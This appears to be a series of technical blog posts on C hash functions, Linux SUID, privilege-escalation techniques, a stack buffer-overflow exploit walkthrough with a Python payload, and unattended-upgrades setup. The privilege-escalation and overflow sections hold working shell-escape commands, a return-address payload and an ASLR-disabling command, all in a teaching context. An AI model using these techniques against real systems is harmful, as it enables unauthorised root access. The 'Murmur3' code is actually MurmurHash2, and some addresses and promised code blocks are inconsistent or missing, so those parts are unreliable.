Hash functions are essential in computer science, widely used in data structures, cryptography, and applications like
file integrity checks and digital signatures. This post will explore a few well-known hash functions: djb2,
Jenkins, Murmur3, and FNV-1a. We’ll discuss each function’s approach and use cases, then dive into sample C
implementations for each.
What is a Hash Function?
In brief, a hash function takes input data (e.g., a string) and returns a fixed-size integer, or “hash,” that represents
the original data. Ideal hash functions distribute data uniformly, minimizing collisions (when different inputs generate
the same hash value). While cryptographic hash functions like SHA-256 prioritize security, our focus here will be on
non-cryptographic hashes for tasks such as data lookup and unique identifier generation.
djb2
The djb2 hash function, designed by Daniel J. Bernstein, is a simple yet effective algorithm for hashing strings.
Its operation is lightweight, using bit shifts and additions, making it fast and suitable for many non-cryptographic
purposes. The main advantage of djb2 lies in its simplicity, which is also why it is commonly used in hash table
implementations.
Code
/**
* @brief Hashes a string using the djb2 algorithm
* @param str The string to hash
* @return The hash of the string
*/uint64_tced_hash_djb2(constvoid*key,size_tlen){uint64_thash=5381;constunsignedchar*str=key;while(len--){hash=((hash<<5)+hash)+*str++;}returnhash;}
Explanation
In djb2, we initialize the hash with 5381 and iterate over each character of the string. The main hashing logic is
hash = ((hash << 5) + hash) + *str++, which essentially combines shifts and additions for a computationally light
transformation.
Jenkins Hash
The Jenkins hash function, created by Bob Jenkins, is popular for its performance and quality of distribution.
Jenkins functions are commonly used for hash tables and are generally effective at handling common hashing requirements
without high computational overhead.
Code
/**
* @brief Hashes a string using the Jenkins algorithm
* @param key The key to hash
* @param length The length of the key
* @return The hash of the string
*/uint32_tced_hash_jenkins(constvoid*key,size_tlength){uint32_thash=0;constuint8_t*data=(constuint8_t*)key;for(size_ti=0;i<length;++i){hash+=data[i];hash+=(hash<<10);hash^=(hash>>6);}hash+=(hash<<3);hash^=(hash>>11);hash+=(hash<<15);returnhash;}
Explanation
In this implementation, each byte of the input affects the entire hash state via a series of shifts and XORs. These
bitwise operations mix the bits thoroughly, helping reduce the chances of hash collisions, especially for small or
repetitive data inputs.
Murmur3
Murmur3 is part of a family of hash functions known for their speed and good distribution characteristics. Designed
by Austin Appleby, Murmur3 performs exceptionally well on large datasets and is commonly used in database indexing,
distributed systems, and other applications where hash quality and performance are paramount.
Code
/**
* @brief Hashes a string using the Murmur3 algorithm
* @param key The key to hash
* @param length The length of the key
* @param seed The seed value for the hash
* @return The hash of the string
*/uint32_tced_hash_murmur(constvoid*key,size_tlength,uint32_tseed){constuint32_tm=0x5bd1e995;constintr=24;uint32_thash=seed^length;constuint8_t*data=(constuint8_t*)key;while(length>=4){uint32_tk=*(uint32_t*)data;k*=m;k^=k>>r;k*=m;hash*=m;hash^=k;data+=4;length-=4;}switch(length){case3:hash^=data[2]<<16;case2:hash^=data[1]<<8;case1:hash^=data[0];hash*=m;}hash^=hash>>13;hash*=m;hash^=hash>>15;returnhash;}
Explanation
Murmur3 processes input in 4-byte chunks, applying a seed-based hashing operation with bit shifts to achieve randomness.
This function is optimized for speed and provides excellent performance, particularly in scenarios where uniform hash
distribution is critical.
FNV-1a
The FNV-1a hash is another widely used, fast, non-cryptographic hash function. It is well-known for its simplicity
and reasonable distribution properties. FNV-1a is often used for smaller data structures like hash tables and is
compatible with both small and large datasets.
/**
* @brief Hashes a string using the FNV1a algorithm
* @param key The key to hash
* @param length The length of the key
* @return The hash of the string
*/uint32_tced_hash_fnv1a(constvoid*key,size_tlength){constuint32_toffset_basis=2166136261;constuint32_tprime=16777619;uint32_thash=offset_basis;constuint8_t*data=(constuint8_t*)key;for(size_ti=0;i<length;++i){hash^=data[i];hash*=prime;}returnhash;}
Explanation
FNV-1a initializes a hash value with an offset basis and iterates over each byte, XORing it with the hash and then
multiplying by a prime number. This operation sequence yields a well-distributed hash while maintaining simplicity.
Summary
Each of the four hash functions reviewed here has distinct characteristics:
djb2: Simple and efficient, suitable for smaller data and hash tables.
Jenkins: Offers good distribution with minimal computation, ideal for hash tables.
Murmur3: Fast and optimized for larger data, making it ideal for database indexing and distributed applications.
FNV-1a: Simple and widely used, especially in situations where lightweight and straightforward hash computation is required.
Choosing the right hash function depends on the specific requirements of your application, particularly the trade-offs
between speed, distribution quality, and memory usage. The implementations shared here provide a starting point for
integrating efficient hashing techniques in C.
In the world of Linux security, SUID (Set User ID) is a powerful but potentially dangerous feature that controls
privilege escalation. This article will walk through how SUID works, illustrate its effects with a C program example,
and explore how improper handling of SUID binaries can lead to privilege escalation.
What is SUID?
SUID, or Set User ID, is a special permission flag in Unix-like operating systems that allows a user to execute a file
with the permissions of the file’s owner, rather than their own. This is particularly useful when certain tasks require
elevated privileges. For example, the passwd command uses SUID to allow any user to change their password, though the
actual file manipulations need root access.
SUID permission can be set using the chmod command with the octal value 4 in front of the file permissions. A SUID
binary might look something like this in a directory listing:
-rwsr-xr-x 1 root root 16000 Oct 25 21:37 suid_binary
The s in the permission string indicates that the SUID bit is set.
Finding SUID Binaries
SUID binaries can be located with the find command. This is useful both for security auditing and for understanding
which executables can perform actions with elevated privileges.
find / -perm-u=s -type f 2>/dev/null
This command searches the entire filesystem for files that have the SUID bit set. Be cautious with these binaries, as
any misconfiguration can expose the system to privilege escalation.
Building a Program to Understand SUID
Let’s construct a simple C program to see the effects of SUID in action and learn how real and effective user IDs (UIDs)
behave.
Here’s our initial program, which will print both the Real UID (RUID) and the Effective UID (EUID). These IDs help
determine the permissions available during program execution:
If we re-run this program now, our real and effective UIDs are different:
$ ./suid_example
Real UID : 1000
Effective UID: 0
Now, our Effective UID (EUID) is 0, meaning we have root privileges, while the Real UID (RUID) remains our original
user ID.
Adding setuid
Calling setuid(0) explicitly sets the Real UID and Effective UID to 0, making the user a superuser. This step is
often necessary to maintain root access throughout the program execution.
#include<stdio.h>
#include<unistd.h>intmain(){printf(" ---- before ---- \n");printf("Real UID : %d\n",getuid());printf("Effective UID: %d\n",geteuid());setuid(0);printf(" ---- after ---- \n");printf("Real UID : %d\n",getuid());printf("Effective UID: %d\n",geteuid());return0;}
Now that we have setuid in place, executing this program as our standard (1000) user gives us this result:
$ ./suid_example
---- before ----
Real UID : 1000
Effective UID: 0
---- after ----
Real UID : 0
Effective UID: 0
With this call, both the Real and Effective UID will be set to 0, ensuring root-level privileges throughout
the execution.
Security Implications of SUID
SUID binaries, when not managed carefully, can introduce security vulnerabilities. Attackers can exploit misconfigured
SUID programs to gain unauthorized root access. A few best practices include:
Minimizing SUID Binaries: Only use SUID where absolutely necessary, and regularly audit the system for SUID binaries.
Code Review: Ensure that all SUID programs are thoroughly reviewed for security vulnerabilities, particularly around system calls like system(), which could potentially be hijacked.
Conclusion
In this post, we explored how SUID works, implemented a program to observe its effects on Real and Effective UIDs, and
demonstrated the power of privilege escalation. While SUID is a useful tool for certain applications, it must be
carefully managed to avoid security risks. By understanding SUID, Linux administrators and developers can better protect
their systems against privilege escalation attacks.
Privilege escalation is a critical concept in cybersecurity, allowing an attacker to gain higher-level access to systems
by exploiting specific weaknesses. This process often enables adversaries to move from limited user roles to more
powerful administrative or root-level access. In this article, we’ll dive into several common privilege escalation
techniques on both Linux and Windows systems, covering methods such as exploiting SUID binaries, weak permissions,
and kernel vulnerabilities.
Privilege Escalation
Privilege escalation attacks typically fall into two categories:
Vertical Privilege Escalation: This occurs when a user with lower privileges (e.g., a standard user) gains access to higher privileges (e.g., an admin or root level).
Horizontal Privilege Escalation: In this case, an attacker remains at the same privilege level but accesses resources or areas they typically shouldn’t have access to.
This article focuses on vertical privilege escalation techniques on Linux and Windows systems.
Linux
Exploiting SUID Binaries
In Linux, binaries with the SUID (Set User ID) bit set run with the privileges of the file owner rather than the
user executing them. A misconfigured SUID binary owned by root can be exploited to execute code with root privileges.
To locate SUID binaries, use:
find / -perm-u=s -type f 2>/dev/null
Once located, inspect the binary for potential exploitation. Some known binaries like find, vim, or perl can often
be exploited with SUID if configured incorrectly. For instance:
# Exploiting a SUID binary with `find`
find .-exec /bin/sh -p\;-quit
Weak File Permissions
Misconfigured permissions can lead to privilege escalation when files essential to the system or owned by
higher-privilege users are writable by lower-privilege accounts.
As an example, if an attacker can write to /etc/passwd, they can add a new user with root privileges:
Alternatively, a writable /etc/shadow file can enable password manipulation for privileged users.
Kernel Exploits
Linux kernel vulnerabilities are a frequent target for privilege escalation, especially in environments where patching
is delayed. It is critical to remain patched and up to day, as well as to keep looking at
exploit registers to stay ahead.
Cron Jobs and PATH Exploits
If cron jobs are running scripts with elevated privileges and the script location or PATH variable is misconfigured,
attackers may be able to manipulate the outcome.
For instance, if a cron job executes a script owned by root from /tmp, an attacker can replace or edit this script to
run commands with root privileges.
Exploiting Misconfigured Capabilities
Linux capabilities allow fine-grained control of specific root privileges for binaries. For instance, a binary with
CAP_SETUID capability can change user IDs without full root access. Misconfigured capabilities can be listed with:
getcap -r / 2>/dev/null
Windows
Misconfigured Service Permissions
In Windows, services running as SYSTEM or Administrator can be exploited if lower-privilege users have permission to modify them.
To enumerate services with exploitable permissions, use PowerShell:
Tools like AccessChk can also help determine whether services are misconfigured:
accesschk.exe -uwcqv "username" *
If a service is found to be modifiable, an attacker could replace the executable path with a malicious file to run as SYSTEM.
DLL Hijacking
Windows programs often load DLLs from specific directories in a defined order. If a high-privilege process loads a DLL
from a directory where an attacker has write access, they can place a malicious DLL in that directory to achieve code
execution at a higher privilege level.
To locate DLL loading paths, analyze process dependencies with tools like Process Monitor.
Weak Folder Permissions
Folder permissions can escalate privileges if users can write to directories containing executables or scripts used by
high-privilege processes.
An attacker could replace a legitimate executable in a writable directory to execute malicious code. Check for writable
directories in the PATH:
icacls "C:\path\to\directory"
Token Impersonation
In Windows, processes running as SYSTEM can often create impersonation tokens, allowing privileged processes to
temporarily “impersonate” another user. Attackers can exploit tokens left by privileged processes to escalate privileges
using tools like Incognito or PowerShell.
For instance, PowerShell can be used to list tokens available:
whoami /priv
Kernel Vulnerabilities
In the same way as Linux, Windows will also have kernel exploits that come up on the register. Make sure you’re always
patched and on top of the latest issues.
Conclusion
Privilege escalation is a critical step in many cyberattacks, allowing attackers to move from restricted to privileged
roles on a system. For both Linux and Windows, attackers leverage vulnerabilities in service configurations,
permissions, and system processes to achieve this goal. Security professionals must stay informed about these techniques
and patch, configure, and monitor systems to defend against them.
Regularly auditing permissions, keeping software up-to-date, and minimizing the attack surface are essential to
mitigating privilege escalation risks. By understanding and addressing these common methods, organizations can
significantly reduce the potential for unauthorized privilege escalation.
Buffer overrun exploits (also known as buffer overflow attacks) are one of the most well-known and dangerous types of
vulnerabilities in software security. These exploits take advantage of how a program manages memory—specifically, by
writing more data to a buffer (an allocated block of memory) than it can safely hold. When this happens, the excess data
can overwrite adjacent memory locations, potentially altering the program’s control flow or causing it to behave
unpredictably.
Attackers can exploit buffer overruns to inject malicious code or manipulate the system to execute arbitrary
instructions, often gaining unauthorized access to the target system. Despite being a well-studied vulnerability, buffer
overflows remain relevant today, particularly in low-level languages like C and C++, which allow direct memory
manipulation.
In this post, we’ll take a closer look at buffer overrun exploits, how they work, and explore some real-world code
examples in C that demonstrate this vulnerability. By understanding the mechanics behind buffer overflows, we can also
better understand how to mitigate them.
Disclaimer: The code in this article is purely for demonstration purposes. We use some intentionally unsafe
techniques to set up an exploitable scenario. DO NOT use this code in production applications, ever.
Password Validator Example
In the following example, the program will ask for input from the user and validate it against a password stored on the
server.
voiddo_super_admin_things(){system("/bin/sh");}intmain(intargc,char*argv[]){if(validate_password()){do_super_admin_things();}else{printf("ERROR: Bad password\n");}return0;}
do_super_admin_things is our example. It might be an admin shell, or something else. The point is this program is
trying to control access to that function by making sure you have the password, first!
The validate_password function is responsible for getting that password in from the outside world. It’s prompts, and
then reads from stdin. Note the use of gets().
intvalidate_password(){charpassword_attempt[64];printf("What is the password? ");gets(password_attempt);returncheck_password(password_attempt);}
Warning About gets
The usage of gets() here is highly frowned upon because of how insecure it is. Below are notes from the man page for
it:
BUGS
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.
The Library Functions Manual makes it clear. It’s such a horrible function security-wise that it has been deprecated from
the C99 standard as per §7.26.13:
The gets function is obsolescent, and is deprecated.
If there’s one thing to learn from this section, it’s don’t use gets().
To get this code to compile, I had to relax some of the standard rules and mute certain warnings:
Initially, if you provide any normal input, the program behaves as expected:
What is the password? AAAAAAAAAAAA
ERROR: Bad password
But if you push the input a bit further, exceeding the bounds of the password_attempt buffer, you can trigger a crash:
What is the password? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 60406 segmentation fault (core dumped) ./vuln1
The program crashes due to a segmentation fault. Checking dmesg gives us more information:
$ dmesg | tail-n 5
[ 4442.984159] vuln1[60406]: segfault at 41414141 ip 0000000041414141 sp 00000000ff9a5670 error 14 likely on CPU 19 (core 35, socket 0)[ 4442.984189] Code: Unable to access opcode bytes at 0x41414117.
Notice the 41414141 pattern. This is significant because it shows that the capital A’s from our input (0x41 in
hexadecimal) are making their way into the instruction pointer (ip). The input we provided has overflowed into crucial
parts of the stack, including the instruction pointer.
You can verify that 0x41 represents ‘A’ by running the following command:
echo -e "\x41\x41\x41\x41"
AAAA
Controlling the Instruction Pointer
This works because the large input string is overflowing the password_attempt buffer. This buffer is a local variable
in the validate_password function, and in the stack, local variables are stored just below the return address. When
password_attempt overflows, the excess data overwrites the return address on the stack. Once overwritten, we control
what address the CPU will jump to after validate_password finishes.
Maybe, we could find the address of the do_super_admin_things function and simply jump directly to it. In order to do
this, we need to find the address. Only the name of the function is available to us in the source code, and the address
of the function is determined at compile time; so we need to lean on some other tools in order to gather this intel.
By using objdump we can take a look inside of the compiled executable and get this information.
objdump -d vuln1
This will decompile the vuln1 program and give us the location of each of the functions. We search for the function
that we want (do_super_admin_things):
We find that it’s at address 00001316. We need to take note of this value as we’ll need it shortly.
Now we need to find the spot among that big group of A’s that we’re sending into the input, exactly where the right spot
is, where we can inject our address onto the stack. We’ve already got some inside knowledge about our buffer. It’s 64
bytes in length.
We really need a magic mark in the input so we can determine where to send our address in. We can do that with some well
known payload data. We re-run the program with our 64 A’s but we also add a pattern of characters afterwards:
What is the password? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFF
[1] 60406 segmentation fault (core dumped) ./vuln1
This seg faults again, but you can see the BBBBCCCCDDDDEEEEFFFF at the end of the 64 A’s. Looking at the log in
dmesg now:
[ 9287.917223] vuln1[62745]: segfault at 45454545 ip 0000000045454545 sp 00000000ffa63b50 error 14 likely on CPU 18 (core 34, socket 0)
The 45454545 tells us which part of the input is being sent in as the return address. \x45 is the E’s
echo -e "\x45\x45\x45\x45"
EEEE
That means that our instruction pointer will start at the E’s.
Prepare the Payload
To make life easier for us, we’ll write a python script that will generate this payload for us. Note that this is using
our function address from before.
#!/usr/bin/python
importsys# fill out the original buffer
payload=b"A"*64# extra pad to skip to where we want our instruction pointer
payload+=b"BBBBCCCCDDDD"# address of our function "do_super_admin_things"
payload+=b"\x16\x13\x00\x00"sys.stdout.buffer.write(payload)
We can now inject this into the execution of our binary and achieve a shell:
We use (python3 payload.py; cat) here because of the shell’s handling of file descriptors. Without doing this and
simply piping the output, our shell would kill the file descriptors off.
Static vs. Runtime Addresses
When we run our program normally, modern operating systems apply Address Space Layout Randomization (ASLR), which
shifts memory locations randomly each time the program starts. ASLR is a security feature that makes it more challenging
for exploits to rely on hardcoded memory addresses, because the memory layout changes every time the program is loaded.
For example, if we inspect the runtime address of 1do_super_admin_things` in GDB, we might see something like:
(gdb) info address do_super_admin_things
Symbol "do_super_admin_things" is at 0x56556326 in a file compiled without debugging.
This differs from the objdump address 0x1326, as it’s been shifted by the base address of the executable
(e.g., 0x56555000 in this case). This discrepancy is due to ASLR.
Temporarily Disabling ASLR for Demonstration
To ensure the addresses in objdump match those at runtime, we can temporarily disable ASLR. This makes the program
load at consistent addresses, which is useful for demonstration and testing purposes.
To disable ASLR on Linux, run:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
This command disables ASLR system-wide. Be sure to re-enable ASLR after testing by setting the value back to 2:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Conclusion
In this post, we explored the mechanics of buffer overflow exploits, walked through a real-world example in C, and
demonstrated how ASLR impacts the addresses used in an exploit. By leveraging objdump, we could inspect static
addresses, but we also noted how runtime address randomization, through ASLR, makes these addresses unpredictable.
Disabling ASLR temporarily allowed us to match objdump addresses to those at runtime, making the exploit demonstration
clearer. However, this feature highlights why modern systems adopt ASLR: by shifting memory locations each time a
program runs, ASLR makes it significantly more difficult for attackers to execute hardcoded exploits reliably.
Understanding and practicing secure coding, such as avoiding vulnerable functions like gets() and implementing stack
protections, is crucial in preventing such exploits. Combined with ASLR and other modern defenses, these practices
create a layered approach to security, significantly enhancing the resilience of software.
Buffer overflows remain a classic but essential area of study in software security. By thoroughly understanding their
mechanisms and challenges, developers and security researchers can better protect systems from these types of attacks.
Keeping your Linux servers up to date with the latest security patches is critical. Fortunately, if you’re running a
Debian-based distribution (like Debian or Ubuntu), you can easily automate this process using unattended-upgrades. In
this guide, we’ll walk through setting up automatic patching with unattended-upgrades, configuring a schedule for
automatic reboots after updates, and setting up msmtp to send email notifications from your local Unix mail account.
Installation
The first step is to install unattended-upgrades, which will automatically install security (and optionally other)
updates on your server. Here’s how to do it:
This will configure your server to automatically install security updates. However, you can customize the configuration
to also include regular updates if you prefer.
Configuration
By default, unattended-upgrades runs daily, but you can configure it further by adjusting the automatic reboot
settings to ensure that your server reboots after installing updates when necessary.
Automatic Updates
Edit the unattended-upgrades configuration file:
sudo vim /etc/apt/apt.conf.d/50unattended-upgrades
Make sure the file has the following settings to apply both security and regular updates:
You can also configure the server to automatically reboot after installing updates (useful when kernel updates require a
reboot). To do this, add or modify the following lines in the same file:
You may need to configure your Debian machine to be able to send email. For this, we’ll use msmtp, which can relay
emails. I use gmail, but you can use any provider.
Configuration
Open up the /etc/msmtprc file. For the password here, I needed to use an “App Password” from Google (specifically).
defaults
tls on
tls_trust_file /etc/ssl/certs/ca-certificates.crt
logfile /var/log/msmtp.log
account gmail
host smtp.gmail.com
port 587
auth on
user your-email@gmail.com
password your-password
from your-email@gmail.com
account default : gmail
Default
You can set msmtp as your default by linking it as sendmail.
sudo ln-sf /usr/bin/msmtp /usr/sbin/sendmail
Testing
Make sure your setup for email is working now by sending yourself a test message:
echo"Test email from msmtp" | msmtp your-local-username@localhost
Conclusion
With unattended-upgrades and msmtp configured, your Debian-based servers will automatically stay up to date with
security and software patches, and you’ll receive email notifications whenever updates are applied. Automating patch
management is crucial for maintaining the security and stability of your servers, and these simple tools make it easy to
manage updates with minimal effort.